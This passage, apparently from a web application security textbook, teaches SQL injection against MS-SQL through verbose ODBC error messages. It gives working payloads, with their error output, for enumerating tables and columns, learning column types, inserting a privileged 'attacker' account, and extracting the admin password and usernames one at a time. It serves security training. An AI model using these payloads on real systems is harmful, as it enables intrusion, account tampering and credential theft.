Exploiting ODBC Error Messages (MS-SQL Only)

If you are attacking an MS-SQL database, then there are alternative ways available of discovering the names of database tables and columns, and of extracting useful data. MS-SQL generates extremely verbose error messages, which can be exploited in various ways.

Enumerating Table and Column Names

Recall the login function described earlier, which performs the following SQL query, in which the username and password fields are vulnerable to SQL injection:

SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’

Although you can bypass the login by injecting into either of these fields, if you wish to exploit the vulnerability to extract or modify sensitive data, then you will need to know the names of the table and columns involved. Suppose that the table being queried was originally created using the command

create table users( ID int, username varchar(255), password
varchar(255), privs int)

If ODBC error messages are being returned to your browser, then you can trivially obtain all of this information about the table. The first step is to inject the following string into one of the vulnerable fields:

‘ having 1=1–

This generates the following error message:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘users.ID’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Embedded in this error message is the item users.ID , which in fact discloses the name of the table being queried ( users ) and the name of the first column being returned by the query ( ID ). The next step is to insert the enumerated column name into the attack string, which produces this:

‘ group by users.ID having 1=1–

Submitting this value generates the following error message:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

This message discloses the name of the second column being returned by the query. You can continue inserting the name of each enumerated column into the attack string, eventually arriving at the following attack string:

‘ group by users.ID, users.username, users.password, users.privs having1=1–

Submitting this value does not result in any error message. This confirms that you have now enumerated all of the columns being returned by the query, and the order in which they appear.

The next step is to determine the data types of each column. Using the information already obtained, you can supply the following input:

‘ union select sum(username) from users–

This input attempts to perform a second query and combine the results with those of the original. It generates the following error message:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

This error occurs because the database carried out the injected query before attempting to combine the results with those of the original. The SUM function performs a numeric sum, and takes numeric type data as its input. Because the username column is a string type, this causes an error, and the message discloses that the username column is of the specific data type varchar .

Submitting the same input with the ID column produces a different error message:

‘ union select sum(ID) from users–

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

This error indicates that the SUM function was successful, and a problem arose at the point where the database attempted to combine the single column returned by the injected query with the four columns returned by the original query. This effectively confirms that the ID column is a numeric data type.

You can repeat this test on each of the fields of the query to confirm their data types. Having done this, you now have sufficient information to extract arbitrary information from the users table, and to insert your own data into it.

For example, to add a new user account with arbitrary ID and privs values, you can submit the following as either of the vulnerable fields:
‘; insert into users values( 666, ‘attacker’, ‘foobar’, 0xffff )–

Extracting Arbitrary Data

One particularly useful ODBC error message occurs when the database attempts to cast an item of string data to a numeric data type. In this situation, the error message generated actually contains the value of the string item that caused the problem. If error messages are being returned to the browser, this behavior can be a gold mine to an attacker because it allows arbitrary string data to be returned reliably.

It is possible to inject into the WHERE clause of a SELECT statement in such a way as to perform an arbitrary second query and trigger a failed string conversion on the result. One way of doing this is as follows, which in this example returns version information about the database and operating system:

‘ or 1 in (select @@version)–

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘Microsoft SQL Server 2000 – 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of data type int.

More interestingly, given the information already gathered, you could retrieve the password of the admin user as follows:

‘ or 1 in (select password from users where username=’admin’)–

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘0wned’ to a column of data type int.

Using Recursion

Suppose that you wish to extract all of the usernames and passwords in the users table. Using the previous extraction technique, you can obtain only a single item of string data at a time. One way to circumvent this restriction is to craft a query that takes the previous result as its input and returns the next result as its output. Issuing these queries recursively will enable you to cycle through each of the items of data which you wish to extract.

For example, supplying the following input returns an error message containing the username that appears alphabetically first in the users table:

‘ or 1 in (select min(username) from users where username > ‘a’)–

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘aaron’ to a column of data type int. Having established the username aaron , you can insert this into the next query as follows:

‘ or 1 in (select min(username) from users where username > ‘aaron’)–

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘abbey’ to a column of data type int.

You can continue this process recursively until no further usernames are returned. Having saved a list of these usernames, you can then use them to retrieve the corresponding passwords directly.


NEXT is..Bypassing Filters…,,,,,,,,,,